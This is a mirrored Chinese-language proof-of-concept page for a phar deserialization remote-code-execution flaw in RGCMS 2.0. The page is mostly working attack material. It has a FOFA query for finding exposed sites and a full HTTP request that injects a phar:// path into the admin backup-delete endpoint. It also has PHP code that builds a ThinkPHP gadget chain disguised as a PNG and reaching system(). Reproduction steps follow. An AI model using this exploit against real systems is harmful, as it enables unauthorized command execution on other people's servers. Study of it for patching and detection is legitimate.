mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 14:04:06 +00:00
133 lines
3.3 KiB
Markdown
133 lines
3.3 KiB
Markdown
# RGCMS2.0存在phar反序列化漏洞
|
||
|
||
**RGCMS存在反序列化漏洞,攻击者可以通过该漏洞执行任意命令。**
|
||
|
||
## fofa
|
||
|
||
```javascript
|
||
"RGCMS"
|
||
```
|
||
|
||
## poc
|
||
|
||
```javascript
|
||
POST /admin.php/data/delbackup HTTP/1.1
|
||
Host: 127.0.0.1
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Accept-Encoding: gzip, deflate
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
X-Requested-With: XMLHttpRequest
|
||
Content-Length: 212
|
||
Origin: http://rgcms:81
|
||
Connection: close
|
||
Referer: http://rgcms:81/admin.php/data/backuplist
|
||
Cookie: PHPSESSID=us9vfbgeh2i9c5kcp7h27ii8ns
|
||
Priority: u=0
|
||
|
||
title=20240820110529_rgcms.db&path=phar://upload/image/20240820/2057e04b4b2d528ed7726d233fc87191.png&children=&mtime=2024-08-20+11%3A05%3A29&size=1.09MB&type=file&ext=db&isReadable=true&isWritable=true&edit=false
|
||
```
|
||
|
||
**漏洞复现**
|
||
|
||
生成phar文件
|
||
|
||
```php
|
||
<?php
|
||
namespace think\process\pipes {
|
||
class Windows
|
||
{
|
||
private $files;
|
||
public function __construct($files)
|
||
{
|
||
$this->files = array($files);
|
||
}
|
||
}
|
||
}
|
||
|
||
namespace think\model\concern {
|
||
trait Conversion
|
||
{
|
||
protected $append = array("smi1e" => "1");
|
||
}
|
||
|
||
trait Attribute
|
||
{
|
||
private $data;
|
||
private $withAttr = array("smi1e" => "system");
|
||
|
||
public function get()
|
||
{
|
||
$this->data = array("smi1e" => "calc");
|
||
}
|
||
}
|
||
}
|
||
namespace think {
|
||
abstract class Model
|
||
{
|
||
use model\concern\Attribute;
|
||
use model\concern\Conversion;
|
||
}
|
||
}
|
||
|
||
namespace think\model{
|
||
use think\Model;
|
||
class Pivot extends Model
|
||
{
|
||
public function __construct()
|
||
{
|
||
$this->get();
|
||
}
|
||
}
|
||
}
|
||
|
||
namespace {
|
||
|
||
$conver = newthink\model\Pivot();
|
||
$a = new think\process\pipes\Windows($conver);
|
||
|
||
|
||
$phar = new Phar('hkey.phar');
|
||
$phar -> stopBuffering();
|
||
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
|
||
$phar -> addFromString('test.txt','test');
|
||
$phar -> setMetadata($a);
|
||
$phar -> stopBuffering();
|
||
}
|
||
?>
|
||
```
|
||
|
||
**把hkey.phar文件名修改为hkey.png**
|
||
|
||
**安装时RGCMS时选择数据库类型为:Sqlite**
|
||
|
||

|
||
|
||
|
||
|
||
**上传恶意的png文件:**
|
||
|
||

|
||
|
||
来到备份修复功能
|
||
|
||

|
||
|
||

|
||
|
||

|
||
|
||
**将数据包中path参数修改为**
|
||
|
||
**phar://upload/image/20240820/2057e04b4b2d528ed7726d233fc87191.png**
|
||
|
||

|
||
|
||
|
||
|
||
|
||
|
||
## 漏洞来源
|
||
|
||
- https://mp.weixin.qq.com/s/WxffySGN33r-7ZJtD40BKA |